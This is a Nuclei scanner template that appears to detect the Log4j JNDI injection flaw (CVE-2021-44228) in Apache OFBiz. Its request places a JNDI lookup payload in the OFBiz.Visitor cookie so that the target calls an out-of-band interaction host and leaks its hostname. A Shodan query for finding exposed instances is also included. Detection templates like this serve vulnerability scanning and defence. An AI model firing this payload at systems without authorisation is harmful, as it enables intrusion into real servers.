50 lines
1.8 KiB
YAML
50 lines
1.8 KiB
YAML
id: apache-ofbiz-log4j-rce
|
|
|
|
info:
|
|
name: Apache OFBiz - Log4j JNDI Remote Code Execution
|
|
author: pdteam
|
|
severity: critical
|
|
description: |
|
|
Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.
|
|
reference:
|
|
- https://issues.apache.org/jira/browse/OFBIZ-12449
|
|
- https://ofbiz.apache.org/
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10.0
|
|
cwe-id: CWE-77
|
|
remediation: Upgrade to Apache OFBiz version 8.12.03 or later.
|
|
metadata:
|
|
shodan-query: http.html:"Apache OFBiz"
|
|
tags: cve,cve2021,ofbiz,oast,log4j,rce,apache,jndi
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /webtools/control/main HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: OFBiz.Visitor=${jndi:ldap://${hostName}.{{interactsh-url}}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 1
|
|
regex:
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
|
|
|
|
# Enhanced by mp on 2022/05/27
|